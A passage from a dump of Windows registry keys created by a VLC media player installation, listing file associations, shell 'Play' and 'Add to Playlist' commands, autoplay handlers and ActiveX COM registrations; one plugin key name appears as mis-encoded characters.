"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.qcp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.a52\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rec\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogm\shell]
"(Default)" = "Open"

[HKCR\VLC.pls\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gp2\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2ts]
"(Default)" = "VLC media file (.m2ts)"

[HKCR\VLC.mts]
"(Default)" = "VLC media file (.mts)"

[HKCR\VLC.amr\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.rmvb]
"(Default)" = "VLC media file (.rmvb)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wmv" = ""

[HKCR\VLC.rec\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rec" = ""

[HKCR\VLC.voc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1]
"(Default)" = "VLC media file (.mp1)"

[HKCR\.w64]
"(Default)" = "VLC.w64"

[HKCR\.mlp]
"(Default)" = "VLC.mlp"

[HKCR\VLC.wmv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wma]
"(Default)" = "VLC media file (.wma)"

[HKCR\Applications\vlc.exe]
"(Default)" = ""

[HKCR\VLC.dts\shell]
"(Default)" = "Open"

[HKCR\VLC.m4a]
"(Default)" = "VLC media file (.m4a)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.spx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.nuv]
"(Default)" = "VLC.nuv"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".drc" = "VLC.drc"

[HKCR\VLC.OPENFolder\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.vro\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg2]
"(Default)" = "VLC media file (.mpeg2)"

[HKCR\VLC.rec]
"(Default)" = "VLC media file (.rec)"

[HKCR\VLC.qcp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogv]
"(Default)" = "VLC media file (.ogv)"

[HKCR\VLC.mtv\shell]
"(Default)" = "Open"

[HKCR\VLC.mp3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aif\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cda\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".avi" = "VLC.avi"

[HKCR\VLC.asx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt]
"(Default)" = "VLC media file (.adt)"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\VLC.mts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mod\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".f4v" = "VLC.f4v"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M4A" = ""

[HKCR\VLC.m2ts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlaySuperVideoCDMovieOnArrival]
"VLCPlaySVCDMovieOnArrival" = ""

[HKCR\VLC.wav\shell]
"(Default)" = "Open"

[HKCR\VLC.669\shell]
"(Default)" = "Open"

[HKCR\.mod]
"(Default)" = "VLC.mod"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4p" = ""

[HKCR\VLC.nsv]
"(Default)" = "VLC media file (.nsv)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4v" = ""

[HKCR\VLC.sdp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.spx]
"(Default)" = "VLC.spx"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".APE" = "VLC.ape"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.3gp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Action" = "Play VCD movie"

[HKCR\VLC.ogv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc]
"(Default)" = "VLC media file (.mpc)"

[HKCR\VLC.ram\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3ga\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv]
"(Default)" = "VLC media file (.mtv)"

[HKCR\VLC.wma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WAV" = ""

[HKCR\VLC.3g2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".voc" = "VLC.voc"
".ogv" = "VLC.ogv"

[HKCR\.m4a]
"(Default)" = "VLC.m4a"

[HKCR\VLC.mov\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv]
"(Default)" = "VLC media file (.wmv)"

[HKCR\VLC.bin\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeProgID" = "VLC.CDAudio"

[HKCR\VLC.rm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m4a\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vro\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.vlc]
"(Default)" = "VLC.vlc"

[HKCR\VLC.b4s\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mka\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp2v" = "VLC.mp2v"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.asx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3ga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ram" = "VLC.ram"

[HKCR\VLC.3gp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".webm" = "VLC.webm"

[HKCR\VLC.flv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.dv]
"(Default)" = "VLC.dv"

[HKCU\Software\Classes\.webm]
"VLC.backup" = "FirefoxHTML"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aifc" = "VLC.aifc"
".aiff" = "VLC.aiff"
".IT" = "VLC.it"

[HKCR\VLC.asx\shell]
"(Default)" = "Open"

[HKCR\VLC.opus\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mpe]
"(Default)" = "VLC.mpe"

[HKCR\VLC.avi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vqf]
"(Default)" = "VLC.vqf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2ts" = ""

[HKCR\VLC.oma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m1v]
"(Default)" = "VLC media file (.m1v)"

[HKCR\VLC.mid\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2]
"(Default)" = "VLC media file (.mp2)"

[HKCR\VLC.ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rmi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls]
"(Default)" = "VLC media file (.pls)"

[HKCR\VLC.m4p\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.it]
"(Default)" = "VLC media file (.it)"

[HKCR\VLC.asf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m1v\shell]
"(Default)" = "Open"

[HKCR\VLC.cue\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf]
"(Default)" = "VLC media file (.mxf)"

[HKCR\VLC.vob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".sdp" = ""

[HKCR\VLC.webm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tta\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".S3M" = "VLC.s3m"

[HKCR\VLC.mpe\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.tod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".bin" = ""

[HKCR\VLC.mpe\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.snd\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv]
"(Default)" = "VLC media file (.nuv)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Action" = "Play video files"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amv" = ""

[HKCR\VLC.ogx]
"(Default)" = "VLC media file (.ogx)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rmvb" = ""

[HKCR\VLC.mp3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.rec\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aob" = ""

[HKCR\VLC.drc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.cue\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo]
"(Default)" = "VLC media file (.ifo)"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ogv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3g2]
"(Default)" = "VLC.3g2"

[HKCR\VLC.wav]
"(Default)" = "VLC media file (.wav)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ts\shell]
"(Default)" = "Open"

[HKCR\VLC.flv\shell]
"(Default)" = "Open"

[HKCR\.mpeg4]
"(Default)" = "VLC.mpeg4"

[HKCR\.opus]
"(Default)" = "VLC.opus"

[HKCR\VLC.amv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP2" = ""

[HKCR\VLC.mp4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"InstallLocation" = "%Program Files% (x86)\VideoLAN\VLC"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".PLS" = "VLC.pls"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MOD" = ""

[HKCR\VLC.opus\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ape]
"(Default)" = "VLC.ape"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mov" = ""

[HKCR\VLC.tta]
"(Default)" = "VLC media file (.tta)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".amv" = "VLC.amv"
".amr" = "VLC.amr"

[HKCR\VLC.tts\shell]
"(Default)" = "Open"

[HKCR\VLC.aif\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XM" = "VLC.xm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3g2" = ""

[HKCR\.oma]
"(Default)" = "VLC.oma"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".xa" = "VLC.xa"

[HKCR\VLC.gxf\shell]
"(Default)" = "Open"

[HKCR\VLC.gxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rmvb" = "VLC.rmvb"

[HKCR\VLC.adt\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nuv" = ""

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.a52\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg\shell]
"(Default)" = "Open"

[HKCR\VLC.tod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.divx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vro]
"(Default)" = "VLC.vro"

[HKCR\楖敤䱯乁嘮䍌汐杵湩.2\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.mpeg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XM" = ""
".xa" = ""

[HKCR\VLC.m4p\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Language" = "1033"

[HKCR\.avi]
"(Default)" = "VLC.avi"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationDescription" = "VLC - The video swiss knife"

[HKCR\VLC.mp4v]
"(Default)" = "VLC media file (.mp4v)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMajor" = "2"

[HKCR\.nsv]
"(Default)" = "VLC.nsv"

[HKCR\VLC.mts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.flac]
"(Default)" = "VLC media file (.flac)"

[HKCR\VLC.mka\shell]
"(Default)" = "Open"

[HKCR\VLC.oga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.xspf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vlc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.xa]
"(Default)" = "VLC.xa"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg4" = "VLC.mpeg4"
".mpeg2" = "VLC.mpeg2"
".mpeg1" = "VLC.mpeg1"

[HKCR\VLC.a52\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.snd]
"(Default)" = "VLC.snd"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.mp4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rmi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.tta]
"(Default)" = "VLC.tta"

[HKCR\VLC.vlc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.pls\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wma\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.avi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nsv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv]
"(Default)" = "VLC media file (.flv)"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.mp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.s3m\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.aifc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\shell\AddToPlaylistVLC\command]
